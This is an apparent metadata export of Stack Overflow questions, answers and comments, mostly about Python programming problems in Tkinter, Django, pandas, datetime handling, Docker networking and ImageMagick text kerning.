has body: Yes. The difference between the Goodbye class and the Farewell class is that Goodbye has an instance member hello, while the Farewell class has a class member hello. If you change the Hello class that belongs to a Farewell object, then all instances of Farewell see the change, so you can do this: a = Goodbye() b = Goodbye() a.hello.member = 1 # monkey-patching the member b.hello.member = 2 print(a.hello.member) # prints "1" print(b.hello.member) # prints "2" f = Farewell() g = Farewell() f.hello.member = 1 g.hello.member = 2 print(f.hello.member) # prints "2"! The reason this works is because, as you have defined it, instances of the Goodbye class have their own instance of a Hello object, while all instances of the Farewell class share the same Hello object. Check out the documentation to learn more! Now whether or not one holds any advantage over the other is implementation-dependent. Class members can sometimes be confusing to users who might expect different instances of a class to retain their own state independent of other actions (i.e., mutable class members can break encapsulation.) However, it might be useful from an efficiency point of view to define members that are constant across all classes (making sure to somehow note this to the users, like hiding them behind underscore prefixes or clear documentation).
accepted answer of: http://stackoverflow.com/q/49525984
type: Answer
answers question: http://stackoverflow.com/q/49525984
score: 0

http://stackoverflow.com/comment/85945003
comment on: http://stackoverflow.com/q/49468951
score: 0
type: QuestionComment
type: Comment
has text: It wasn't immediately obvious from your question that you meant the Python package, since `graphics.py` can also easily refer to a Python file called `graphics`. No need to be snippy.

http://stackoverflow.com/q/49540386
score: 1
has comment: http://stackoverflow.com/comment/86091962
has title: Tkinter Canvas widget has no height or width attributes
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86166939
tagged with: tkinter
answer count: 0
tagged with: canvas
has comment: http://stackoverflow.com/comment/86093195
has comment: http://stackoverflow.com/comment/86119960
type: UnansweredQuestion
has body: I found this list of Canvas widget attributes.: http://infohost.nmt.edu/tcc/help/pubs/tkinter/web/canvas.html At the top of the page it says "Tkinter 8.5 reference...". I import Tkinter using IDLE. 1) Tkinter.TkVersion returns 8.5 2) Tkinter.TclVersion returns 8.5 I define a Canvas widget in the code: surf_plot = Canvas(root,bg=ocean) I then do: root.update() In another function, I attempt to get the width and height of the canvas. draw_grid_lines(surf_plot) def draw_grid_lines(widget): width = widget.width() height = widget.height() The progam fails with: AttributeError: Canvas instance has no attribute 'width' AttributeError: Canvas instance has no attribute 'height' I doublechecked the list of Canvas methods and attributes using IDLE (Netbeans won't show me those). Neither of those attributes appear. from Tkinter import * print str(TkVersion) print str(TclVersion) def gui_quit(): root.quit() def define_frames(): ocean = '#C0C0C0' surf_plot = Canvas(root,bg=ocean) func_cmd = Frame(root,bg='gray') std_cmd = Frame(root,bg='gray') root.grid_rowconfigure(0,weight=1) root.grid_rowconfigure(1,weight=1) root.grid_columnconfigure(0,weight=2) root.grid_columnconfigure(1,weight=2) root.grid_columnconfigure(2,weight=2) surf_plot.grid(row=0,column=0,columnspan=3,rowspan=2,sticky="nsew") root.update() draw_grid_lines(surf_plot) func_cmd.grid(row=0,column=3,columnspan=1,rowspan=1,sticky="nsew") std_cmd.grid(row=1,column=3,columnspan=1,rowspan=1,sticky="nsew") func_lab = Label(func_cmd,relief=RIDGE,width=40,text="Function/Unit Commands") std_lab = Label(std_cmd,relief=RIDGE,width=40,text="Standard Commands") func_lab.grid(row=0,column=0) std_lab.grid(row=0,column=0) def define_global_buttons(): print "Inside define buttons" root.bind_all('&lt;KeyPress-F4&gt;',get_out) root.bind_all('&lt;KeyPress-F12&gt;',toggle_grid_lines) root.grid() def draw_grid_lines(widget): width = widget.width() height = widget.height() print "We need to draw grid lines on a canvas that is "+str(width)+" …
tagged with: tkinter-canvas
downvote count: 0
has comment: http://stackoverflow.com/comment/86092962
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86092126
has comment: http://stackoverflow.com/comment/86092969
has comment: http://stackoverflow.com/comment/86089309

http://stackoverflow.com/comment/86198102
type: Comment
type: QuestionComment
has text: What exactly is your question? What is that you are not happy with?
score: 0
comment on: http://stackoverflow.com/q/49595130

http://stackoverflow.com/a/49572833
score: 0
answers question: http://stackoverflow.com/q/49572186
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/49572186
has body: As per the working of setx and set variables in windows, setx will update the value permanently but not make it available immediately. set will make it available immediately but not permanent. So you have to use both to work immediately. So code will be like : SET XYZ=&lt;value&gt; SETX /M XYZ &lt;value&gt; This will make XYZ value to be set in this session and also makes it permanent. I am adding some useful links to study for yourself. Hope this helps. https://superuser.com/a/916652/652923 https://stackoverflow.com/a/34777506/5003256 https://superuser.com/a/176788/652923

http://stackoverflow.com/q/49507921
tagged with: django-models
tagged with: python
upvote count: 4
has answer: http://stackoverflow.com/a/49515201
type: Question
accepted answer: http://stackoverflow.com/a/49527182
downvote count: 0
tagged with: django
has answer: http://stackoverflow.com/a/50280992
score: 4
possible better answer: http://stackoverflow.com/a/50280992
favorite count: 0
has title: Getting date from Django datetime field with F() expression
type: AnsweredQuestion
has body: Lets say I have a Django model object that requires to update a particular field if the last_updated datetime field is equal to today's date. If I were to use F expression to avoid race condition, what would be the best way to compare the date from last_updated with current date using timezone.now().date()?
has answer: http://stackoverflow.com/a/49527182
answer count: 3

http://stackoverflow.com/comment/85968203
score: 0
comment on: http://stackoverflow.com/q/49482561
type: QuestionComment
type: Comment
has text: You get the result [[0.]] for one image of a cat. Isn't that the label of a cat?

http://stackoverflow.com/comment/86076225
has text: my final goal is to see the features that contributed the most to the target variable. That is, I have a column that is range 0 to 5. In that column, a change from 5 to 2 is more valuable to me, than a change from another column which is 90005 to 90002 (even though both changed 3). Therefore, the idea is scale them all between 0 to 1. and see the correlation and mutual info between that features and the target variables. The total value of the individual column represents how important a change in that value is.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49531969

http://stackoverflow.com/a/49575977
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/49533612
type: Answer
score: 2
has body: Those who are looking for the answer. Here is the final script. async def initEvga(pubSubMsg): pubSubID = pubSubMsg['id'] print(pubSubID) return pubSubMsg['id'] class PubsubConsumer(PubsubConnect): _subscriber = None def __init__(self): self._subscriber = self.getClientService() def getMessages(self, loop): def consumeMessageTask(message): PubsubConsumer.callback(message, loop) subscription_path = self._subscriber.subscription_path( PROJECT_NAME, SUBSCRIPTION ) flow_control = pubsub_v1.types.FlowControl(max_messages=10) self._subscriber.subscribe(subscription_path, callback=consumeMessageTask, flow_control=flow_control) loop.run_forever() @staticmethod def callback(message, loop): pubSubMsg = message.data.decode("utf-8") pubSubMsg = json.loads( base64.urlsafe_b64decode( pubSubMsg) ) asyncio.run_coroutine_threadsafe(initEvga(pubSubMsg), loop) message.ack() loop = asyncio.get_event_loop() psClient = PubsubConsumer() psClient.getMessages(loop) loop.close()

http://stackoverflow.com/comment/86082778
comment on: http://stackoverflow.com/a/49536284
score: 0
type: Comment
type: AnswerComment
has text: @jingIesting I ran it on the list of 50 ids and where an id was not in the system that could not be traced. The code shut down and did not continue to the next id on the list

http://stackoverflow.com/a/49593882
downvote count: 0
type: AcceptedAnswer
score: 3
answers question: http://stackoverflow.com/q/49593828
has body: Since you reading from csv yourdf=pd.read_csv('yourcsv.csv', dtype=object)
type: Answer
has comment: http://stackoverflow.com/comment/86195331
accepted answer of: http://stackoverflow.com/q/49593828
upvote count: 3

http://stackoverflow.com/comment/85969586
has text: @BinhNguyenLe It still has a memory error with less epochs. I haven't tried changing the random seed.
score: 0
comment on: http://stackoverflow.com/q/49458905
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86029313
type: Comment
has text: @theo: Then I don't believe that your code is giving you the result you say it is. You need to show enough code so that I or someone else can use it to reproduce your result, or no one will be able to help you.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49512206

http://stackoverflow.com/q/49482299
has comment: http://stackoverflow.com/comment/85968278
type: Question
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85967493
tagged with: python
has comment: http://stackoverflow.com/comment/85968234
score: 0
answer count: 0
has title: how to refer to a command-line argument in another module in python
has body: I am a beginner for programming. I am writing a package now. There are two scripts. The first script is to create a file that is to be used by the second script. In the first script, the file is a command-line parameter, parser.add_argument('file_to_be_created', nargs='+', type=argparse.FileType('w'), help='create a file'), and I use args.file_to_be_created to reference to it. My question is that how I refer to the file in the second script?

http://stackoverflow.com/q/49471761
downvote count: 0
tagged with: iso8601
has comment: http://stackoverflow.com/comment/85946245
possible better answer: http://stackoverflow.com/a/49471822
tagged with: iso
accepted answer: http://stackoverflow.com/a/49471823
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49471822
has body: datetime.isoformat() returns '2018-03-24T20:25:08.698812' and datetime.isocalendar() returns '(2018, 12, 6)' But what I need is the date and time in ISO format, but also in ISO calendar like this '2018-12-06T20:25:08.698812' How do I get a datetime in both ISO format and ISO calendar? d = datetime.datetime.now() print(d.isoformat()) print(d.isocalendar())
has comment: http://stackoverflow.com/comment/85946236
has comment: http://stackoverflow.com/comment/85946265
tagged with: datetime
tagged with: python
has comment: http://stackoverflow.com/comment/85946273
has title: Datetime to ISO 8601 with time included
favorite count: 0
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/49471823
score: 2
upvote count: 2

http://stackoverflow.com/comment/86022597
type: Comment
comment on: http://stackoverflow.com/q/49508972
score: 0
type: QuestionComment
has text: Note, that should be at *minimum* 16 bytes overhead for a new object, but it is likely more since a `numpy.ndarray` will have several attributes outside of the buffer itself. So a good guesstimate would be `sys.getsizeof(np.array([]))` which for me returns `96` bytes

http://stackoverflow.com/comment/86202849
type: AnswerComment
has text: It is the latest version of tensorflow. I upgraded it last night using pip
type: Comment
comment on: http://stackoverflow.com/a/49597582
score: 0

http://stackoverflow.com/q/49484847
tagged with: ipv4
has title: ipv4 networking not enabled when runnig docker
tagged with: network-programming
upvote count: 2
has comment: http://stackoverflow.com/comment/85972490
tagged with: python
tagged with: portforwarding
tagged with: docker
accepted answer: http://stackoverflow.com/a/49486069
type: AnsweredQuestion
score: 2
answer count: 2
has body: I have a remote machine at my workplace, when we developers run server/ or docker containers. everything was working fine but a while back somethign went wrong. if I run the python flask app from app import app app.run(host='0.0.0.0', port=5050) i get message * Running on http://0.0.0.0:5050/ and I am able to access the above from my local machine using the remote server machine ip:5050 but if I run docker container docker run -itd &lt;conta_image_name&gt; -p 80:90 --add-host=localdomain.com:machine_ip_address i get error message saying IPv4 forwarding is disabled. Networking will not work. Now this issue is in production so I really need someone to throw up some light, what might be wrong or let me know what more info I need to put.
has answer: http://stackoverflow.com/a/49486069
has comment: http://stackoverflow.com/comment/85972483
possible better answer: http://stackoverflow.com/a/54848735
downvote count: 0
has answer: http://stackoverflow.com/a/54848735
linked to: http://stackoverflow.com/q/41453263
favorite count: 0
type: Question

http://stackoverflow.com/q/49448919
has comment: http://stackoverflow.com/comment/85901491
accepted answer: http://stackoverflow.com/a/49449348
has body: I need to do some replaces in a HTML file at the "text" level, that is, I cannot use a HTML parser because I'm not working with tags. For example, I need to replace var hls = new Hls(config); with var config = { xhrSetup: function(xhr, url){ xhr.withCredentials = true; } } var hls = new Hls(config); I'm finding that the replace function, when matching multiline strings like &lt;/script&gt;\n&lt;/body&gt; takes into consideration the whitespaces, so for example to add something before the &lt;/script&gt; &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; I need to replace('&lt;/script&gt;\n &lt;/body&gt;', 'alert(1);\n&lt;/script&gt;\n&lt;/body&gt;'). As I'll be working with different files, some may be indented using 2 chars, others 4... I'm interested in removing all the leading whitespaces, so that the previous snippets become: var config = { xhrSetup: function(xhr, url){ xhr.withCredentials = true; } } var hls = new Hls(config); or &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; So that then, independently of the file, I could replace('&lt;/script&gt;\n&lt;/body&gt;', 'alert(1);\n&lt;/script&gt;\n&lt;/body&gt;') I tried to use lstrip() but it seems to no be doing anything. That is: with open('web.html') as web_page: web = web_page.read() print(web.lstrip()) will not remove the leading white spaces. replace(' ', '') isn't an option, as it breaks the code (e.g. varconfig={). TL;DR; How can I read a web file and remove all the leading white spaces in Python?
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49449348
has title: Remove leading whitespaces from a HTML file in Python
has comment: http://stackoverflow.com/comment/85899760
has comment: http://stackoverflow.com/comment/85901220
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85900173
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/85899665
answer count: 1
tagged with: python

pyopenssl
tag name: pyopenssl
tags question: http://stackoverflow.com/q/49596470
tags question: http://stackoverflow.com/q/49442294
type: Tag
tags question: http://stackoverflow.com/q/49491732
tags question: http://stackoverflow.com/q/49527416

http://stackoverflow.com/q/49541817
upvote count: 1
accepted answer: http://stackoverflow.com/a/49541912
has answer: http://stackoverflow.com/a/49541912
favorite count: 0
type: AnsweredQuestion
tagged with: pandas
score: 1
tagged with: python
has body: I have a python list of lists, e.g. [["chunky","bacon","foxes"],["dr_cham"],["organ","instructor"],...] and would like to create a pandas dataframe with one column containing the lists: 0 ["chunky","bacon","foxes"] 1 ["dr_cham"] 2 ["organ","instructor"] . . . The std constructor (l is the list here) pd.DataFrame(l) returns a dataframe with 3 columns in that case. How would this work? I'm sure it's very simple, but I'm searching for a solution since a while and can't figure it out for some obscure reason. Thanks, B.
has answer: http://stackoverflow.com/a/49541917
has comment: http://stackoverflow.com/comment/86091497
type: Question
answer count: 2
has title: Create a new pandas dataframe from a python list of lists with a column with lists
downvote count: 0
possible better answer: http://stackoverflow.com/a/49541917

http://stackoverflow.com/a/49523223
has body: The problem is in calc_datetime Functions you add with idle_add return True or False, which determines whether this function should be called again. This idle_added function is called in mainloop. There you can update all the labels.
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49498316
has comment: http://stackoverflow.com/comment/86052354
score: 1
type: Answer

http://stackoverflow.com/comment/85932500
score: 0
type: Comment
has text: @Miguel2488, no problem.
type: AnswerComment
comment on: http://stackoverflow.com/a/49460911

http://stackoverflow.com/comment/86045636
score: 0
comment on: http://stackoverflow.com/a/49519510
type: Comment
has text: I can always trust you to answer my questions :) Thank you. But I am just curious as to whether it spossible to do it with groupby. Doing groupby(df.date.dt.year).sum() gives individual values for each group but not prod(). Is there another function or argument to do that?
type: AnswerComment

http://stackoverflow.com/q/49481575
type: Question
tagged with: python-3.x
has title: Python: execute a function a random number of times per day
has comment: http://stackoverflow.com/comment/85966357
has comment: http://stackoverflow.com/comment/85966030
has answer: http://stackoverflow.com/a/49481708
has comment: http://stackoverflow.com/comment/85966347
tagged with: epoch
tagged with: python
has comment: http://stackoverflow.com/comment/85966284
has body: I'd like to execute a function a random number of times each day between set periods. Here's what I have so far: def get_epochtime(dt=datetime.now()): EPOCH = datetime(1970, 1, 1) return (dt - EPOCH).total_seconds() def get_todays_run_schedule(runs_per_day, run_between): now = datetime.now() window_start = now.replace(hour=run_between[0]) window_end = now.replace(hour=run_between[1]) the_schedule = [ get_epochtime(radar.random_datetime(start=window_start, stop=window_end)) for t in range(randint(runs_per_day[0], runs_per_day[1])) ] the_schedule.sort() print("Today I will run %s times" % len(the_schedule)) for run_at in the_schedule: print("I will run at " + time.strftime("%Y-%m-%d %H:%M", time.localtime(run_at))) return the_schedule # we will run between 2 and 4 times per day between the hours of 10 AM and 5 PM. schedule = get_todays_run_schedule((2, 4), (10, 17)) while(True): now = datetime.now() nowsecs = get_epochtime(now) if now.hour == 0 and now.minute == 0 and now.second == 0: schedule = get_todays_run_schedule() if nowsecs in schedule: execute_my_function sleep(1) Basically the idea is that at midnight and at first run, we come up with a run schedule which is a list of epoch times, the length of which is between two supplied integers. Each second we check the time and if the current time is within the list of run times, we execute our function. Finally, we sleep until the next second. However, it isn't working at all. I suspect this might be because my datetime objects somehow include microseconds which is throwing off the comparison, but it could be because of something I'm not understanding about the nature of date time comparisons in python.
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85966419
tagged with: compare
has comment: http://stackoverflow.com/comment/85966238
tagged with: datetime
has comment: http://stackoverflow.com/comment/85966532
accepted answer: http://stackoverflow.com/a/49481708
answer count: 1
has comment: http://stackoverflow.com/comment/85966180
has comment: http://stackoverflow.com/comment/85966114
has comment: http://stackoverflow.com/comment/85966332

http://stackoverflow.com/comment/85918238
score: 0
has text: @rumdrums Dimensionality reduction is also something to consider. What data are you working with?
type: Comment
comment on: http://stackoverflow.com/a/49446270
type: AnswerComment

http://stackoverflow.com/q/49472099
score: 0
answer count: 1
tagged with: authentication
tagged with: django-forms
type: Question
has body: I am trying to filter user's alias. I am using Django's userform and its authentication. forms.py from django import forms from django.contrib.auth.forms import UserCreationForm from django.contrib.auth.models import User class SignupForm(UserCreationForm): email = forms.CharField( retuired=True, widget=EmailInput( attrs={'class':'validate',} ) ) views.py from django.shortcuts import render,redirect from django.contrib.auth.forms import UserCreationForm from django.contrib.auth import login as auth_login def signup(req): if req.method == "POST": form = UserCreationForm(req.POST) if form.is_valid(): user = form.save() auth_login(req, user) return redirect('home') else: form = UserCreationForm() context = { 'form':form, } return render(req, "signup.html", context) I believe that I need to filter inside of views.py. For example, if I want to filter alias which is not gmail, they cannot signup. How can I filter email? Thanks in advance!
has title: Django1.11 Customized UserCreationForm filter email
tagged with: django
tagged with: python
accepted answer: http://stackoverflow.com/a/49472200
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49472200

http://stackoverflow.com/comment/86187195
comment on: http://stackoverflow.com/a/49586510
type: AnswerComment
score: 0
type: Comment
has text: accuracy all time 50%, and how i can see incorrectly reviews in text form?

http://stackoverflow.com/comment/85898213
has text: Yes, I posted this before seeing the OP confirmed replacement in the comments, the DP is the right way to tackle a problem like this, unless one is sure that the input length will always be trivial
comment on: http://stackoverflow.com/a/49447977
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/104835965
comment on: http://stackoverflow.com/a/55342630
has text: could you explain `html = ' '.format` why data:image instead your image's name?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/49453455
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85914148
has answer: http://stackoverflow.com/a/49889696
has comment: http://stackoverflow.com/comment/85915362
has comment: http://stackoverflow.com/comment/85915217
score: 7
has comment: http://stackoverflow.com/comment/85916543
tagged with: python
tagged with: numpy
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/5284646
has body: I've recently used both of these functions, and am looking for input from anyone who can speak to the following: do argsort and rankdata differ fundamentally in their purpose? are there performance advantages with one over the other? (specifically: large vs small array performance differences?) what is the memory overhead associated with importing rankdata? Thanks in advance. p.s. I could not create the new tags 'argsort' or 'rankdata'. If anyone with sufficient standing feels they should be added to this question, please do.
has title: Numpy argsort vs Scipy.stats rankdata
answer count: 1
downvote count: 0
upvote count: 7
accepted answer: http://stackoverflow.com/a/49889696
has comment: http://stackoverflow.com/comment/85910784
tagged with: scipy

http://stackoverflow.com/a/49478151
type: Answer
answers question: http://stackoverflow.com/q/49478071
downvote count: 0
score: 1
upvote count: 1
has body: Here's how to get the output you want, in Python 2 and Python 3: Python 2 &gt;&gt;&gt; range(5,10) [5, 6, 7, 8, 9] Python 3 &gt;&gt;&gt; list(range(5,10)) [5, 6, 7, 8, 9] The tutorial you're following is probably for Python 2 but your question is tagged Python 3, are you sure this is the right tutorial for you?

http://stackoverflow.com/comment/86038330
has text: Thank you very much. But how can I see signing certificate? And then save it?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49516447

http://stackoverflow.com/comment/86068886
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49531389
type: QuestionComment
has text: I think just `cd` to parent directory of `src` will be fine.

http://stackoverflow.com/comment/85978636
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49483695
score: 0
has text: The second line of your crontab is wrong (and very dangerous). I assume that you did paste/copy from "wrong" internet (which has `env >`.

http://stackoverflow.com/comment/86132308
has text: Apparently, Anaconda isn't setting the value of `_sys.argv` correctly. Whether this is a bug in Anaconda (for not doing so), a bug in `argparse` (for assuming `_sys.argv[0]` will exist) or both isn't clear.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49561767

http://stackoverflow.com/a/49452745
type: Answer
has comment: http://stackoverflow.com/comment/85910119
score: 7
downvote count: 0
has body: You can use calendar.month_name. According to its documentation, it is: An array that represents the months of the year in the current locale. So you would simply use it like this: calendar.month_name[month] Full example, with en_US locale: &gt;&gt;&gt; import calendar &gt;&gt;&gt; month = 1 &gt;&gt;&gt; calendar.month_name[month] 'January'
upvote count: 7
answers question: http://stackoverflow.com/q/49452645

http://stackoverflow.com/comment/86200868
has text: I tried to do pythonw.exe name_of_my_script.py(which is the same) but it didn't do anything, as i write, i think it because python.exe name_of_my_script.py raise this error PROTOCOL_SSLv23 = PROTOCOL_TLS NameError: name 'PROTOCOL_TLS' is not defined. whereas name_of_my_script.py doesn't bring errors...
comment on: http://stackoverflow.com/a/49596825
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/49511781
accepted answer of: http://stackoverflow.com/q/49511697
has body: Your chrome driver seems not latest. if you are using chrome 65 then you need latest chrome driver. Please take latest version of chrome driver from here : https://chromedriver.storage.googleapis.com/index.html?path=2.37/ It should resolve your sendkey issue.
type: Answer
answers question: http://stackoverflow.com/q/49511697
has comment: http://stackoverflow.com/comment/86132383
score: 0
has comment: http://stackoverflow.com/comment/86146990
type: AcceptedAnswer

http://stackoverflow.com/a/71157620
has body: You can do this by changing the kerning - I am not sure how to do that with PIL at the moment, but it is possible with ImageMagick in the Terminal and with Python using wand which is a Python binding to ImageMagick. First, in the Terminal - look at the parameter -kerning which is first minus three then plus three: magick -size 200x80 xc:black -gravity center -font "Arial Bold.ttf" -pointsize 50 -kerning -3 -fill white -draw "text 0,0 'kpy7n'" k-3.png magick -size 200x80 xc:black -gravity center -font "Arial Bold.ttf" -pointsize 50 -kerning 3 -fill white -draw "text 0,0 'kpy7n'" k+3.png And, somewhat similarly in Python: #!/usr/bin/env python3 # Needed this on macOS Monterey: # export WAND_MAGICK_LIBRARY_SUFFIX="-7.Q16HDRI" # export MAGICK_HOME=/opt/homebrew from wand.image import Image from wand.drawing import Drawing from wand.font import Font text = "kpy7n" # Create a black canvas 400x120 with Image(width=400, height=120, pseudo='xc:black') as image: with Drawing() as draw: # Draw once in yellow with positive kerning draw.font_size = 50 draw.font = 'Arial Bold.ttf' draw.fill_color = 'yellow' draw.text_kerning = 3.0 draw.text(10, 80, text) draw(image) # Draw again in magenta with negative kerning draw.fill_color = 'magenta' draw.text_kerning = -3.0 draw.text(200, 80, text) draw(image) image.save(filename='result.png')
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/49530282
type: Answer

http://stackoverflow.com/comment/85976083
type: AnswerComment
type: Comment
has text: Please update your question to reflect that so you hopefully get help soon on that question. Currently, you are asking about evaluation results, not direct outputs your model.
comment on: http://stackoverflow.com/a/49466093
score: 0

collaboration
type: Tag
tags question: http://stackoverflow.com/q/49467306
tag name: collaboration

http://stackoverflow.com/comment/86059223
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49526360
type: Comment
has text: @StephenRauch But the bot still sends the message:"Hello Welcome", to me as a user, when I enter /start

http://stackoverflow.com/a/49628725
upvote count: 4
type: AcceptedAnswer
has body: I suspect, (without having your product model at hand) that you are not getting all the elements from the products table, for the following reasons: You created your first 9 elements manually, without registering them to a specific user. Afterward, you added an authentication method (TokenAuthentication) and create some users with access tokens. Because you added an authentication method, you probably added @permission_classes((IsAuthenticated,)) / permission_classes=(IsAuthenticated,) to your product-list view. That restricts any unauthenticated user from accessing the product-list. The unauthenticated-anonymous users will only see the anonymous elements of your database. You added the next 2 elements and the comment with one of the registered users, which in turn registered those elements to the user-creator, therefore you cannot access them without an authenticated user. To access resources that need authentication from the DRF's test client, you need to authenticate your user first. You can use force_authenticate method: class TestInventoryList(APITestCase): def setUp(self): self.req_factory = APIRequestFactory() self.view = views.InventoryList.as_view({'get': 'list',}) @pytest.mark.django_db def test_get_product_list(self): url = reverse('product-list') request = self.client.get(url) force_authenticate(request, user=YOUR_USER) response = self.view(request) print(response.json()) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(response.json()), 11) This test assumes that you list method returns Products.objects.all() As @cezar points out, testing a view against real data is prone to fail (for example, when you add a new element, the self.assertEqual(len(response.json()), 11) will fail) You should consider mocking your responses to create an isolated environment. I tend to use a combination of factory_boy and django-nose (pytest works as well).
downvote count: 0
has comment: http://stackoverflow.com/comment/86427444
accepted answer of: http://stackoverflow.com/q/49591509
has comment: http://stackoverflow.com/comment/86427591
answers question: http://stackoverflow.com/q/49591509
type: Answer
score: 4

http://stackoverflow.com/q/49583671
answer count: 1
downvote count: 0
tagged with: pyqt5
upvote count: 1
has comment: http://stackoverflow.com/comment/86255997
favorite count: 0
has title: PyQt5 unable to find Wayland plugin
has body: I am currently trying to run a program written to use PyQt5 in a Wayland session on KDE Neon, but I am encountering this error when I attempt to launch it: This application failed to start because it could not find or load the Qt platform plugin "wayland" in "". Available platform plugins are: eglfs, linuxfb, minimal, minimalegl, offscreen, vnc, xcb. Reinstalling the application may fix this problem. It was suggested to me that I make sure that qtwayland5 is already installed on my system, and that is the case, so that doesn't appear to be the source of the issue. Additionally, I have confirmed that this issue persists with using both the version of PyQt5 found in my distro's repos as well as with the latest version of PyQt5 installed within a virtualenv.
type: Question
score: 1
tagged with: qtwayland
tagged with: python
has answer: http://stackoverflow.com/a/49624578
tagged with: wayland
has comment: http://stackoverflow.com/comment/86175475
type: UnansweredQuestion

http://stackoverflow.com/comment/86139524
score: 0
has text: `df['New Date'] = df['Date'].shift(-1)`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49565544

http://stackoverflow.com/a/49441055
answers question: http://stackoverflow.com/q/49440546
upvote count: 3
downvote count: 0
has body: I couldn't resist to post a continuation of jpps solution but cleaning it using multiindex. First we recreate the data set with pd.compat. import pandas as pd import numpy as np data = '''\ ID Name 2018-02-28 2018-01-31 2018-12-31 2017-11-30 2017-10-31 2017-09-30 11 ABC 110 109 108 100 95 90 22 DEF 120 119 118 100 85 80 33 GHI 130 129 128 100 75 70''' df = pd.read_csv(pd.compat.StringIO(data), sep='\s+').set_index('ID') Alternative single-index: # Pop away the column names and add Average names = df.pop('Name').tolist() + ['Average'] # Recreate dataframe with percent of column index 4 df.loc[:] = (df.values.T - df.iloc[:,3].values).T / 100 # Get the mean and append s = df.mean() s.name = '99' # name is required when you use append (this will be the id) df = df.append(s) # Insert back df.insert(0,'Name', names) print(df) Returns Name 2018-02-28 2018-01-31 2018-12-31 2017-11-30 2017-10-31 \ ID 11 ABC 0.1 0.09 0.08 0.0 -0.05 22 DEF 0.2 0.19 0.18 0.0 -0.15 33 GHI 0.3 0.29 0.28 0.0 -0.25 99 Average 0.2 0.19 0.18 0.0 -0.15 2017-09-30 ID 11 -0.1 22 -0.2 33 -0.3 99 -0.2 Alternative with multi-index # Set dual index df = df.set_index([df.index,'Name']) # Recreate dataframe with percent of column index 3 (4th) df.loc[:] = (df.values.T - df.iloc[:,3].values).T / 100 # Get the mean and append s = df.mean() s.name = 'Average' df = df.append(s) print(df) df output: 2018-02-28 2018-01-31 2018-12-31 2017-11-30 2017-10-31 2017-09-30 (11, ABC) 0.1 0.09 0.08 0.0 -0.05 -0.1 (22, DEF) 0.2 0.19 0.18 0.0 -0.15 -0.2 (33, GHI) 0.3 0.29 0.28 0.0 -0.25 -0.3 Average 0.2 0.19 0.18 0.0 -0.15 -0.2
score: 3
type: Answer

http://stackoverflow.com/comment/86061868
type: Comment
comment on: http://stackoverflow.com/a/49527904
score: 0
has text: He is accessing soc variable just like this self.soc in every class,so python may find the global variable soc of class ClientSocket which is not defined...
type: AnswerComment

http://stackoverflow.com/comment/85924530
has text: How are you _running_ this script?
comment on: http://stackoverflow.com/q/49452014
score: 0
type: QuestionComment
type: Comment

qtablewidget
tags question: http://stackoverflow.com/q/49529047
type: Tag
tag name: qtablewidget

http://stackoverflow.com/comment/86161361
type: Comment
type: QuestionComment
has text: You are right, I was mislead because the original code contains a loop above of the matches method and it iterates 580 Times. Now its clear, sorry for confusion.
score: 0
comment on: http://stackoverflow.com/q/49576180

http://stackoverflow.com/q/49583898
tagged with: pandas
upvote count: 1
has answer: http://stackoverflow.com/a/49584571
downvote count: 0
accepted answer: http://stackoverflow.com/a/49584571
has title: Subset a Python 3.x dataframe based on a list
favorite count: 0
tagged with: python-3.x
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86176114
score: 1
has body: I have a dataframe df and a list in_list with several users IDs. I want to create multiple dataframes based on the user ID of in_list. Here is the list: in_list = [4638472273, 1559410755, 4931532174, 2419930464, 1884182865, 3688089071, 4555003213, 2068627935, 2894365987, 8549533077] And here is the code: i = 0 while i &lt; len(in_list): user_index[i] = df[(df.In == in_list[i])] i += 1 When I execute the above code I get this error message ValueError: Cannot set a frame with no defined index and a value that cannot be converted to a Series. I want to create several dataframes called user_index0, user_index1, user_index2, etc. with the subset of the dataframe dfbut I'm getting this error.
tagged with: python
has comment: http://stackoverflow.com/comment/86176054
has answer: http://stackoverflow.com/a/49584293
possible better answer: http://stackoverflow.com/a/49584293
type: Question
tagged with: list
answer count: 2

http://stackoverflow.com/q/49500504
has answer: http://stackoverflow.com/a/49500615
downvote count: 0
favorite count: 0
type: Question
has title: Count values in a dataframe based on values in another dataframe
has answer: http://stackoverflow.com/a/49500626
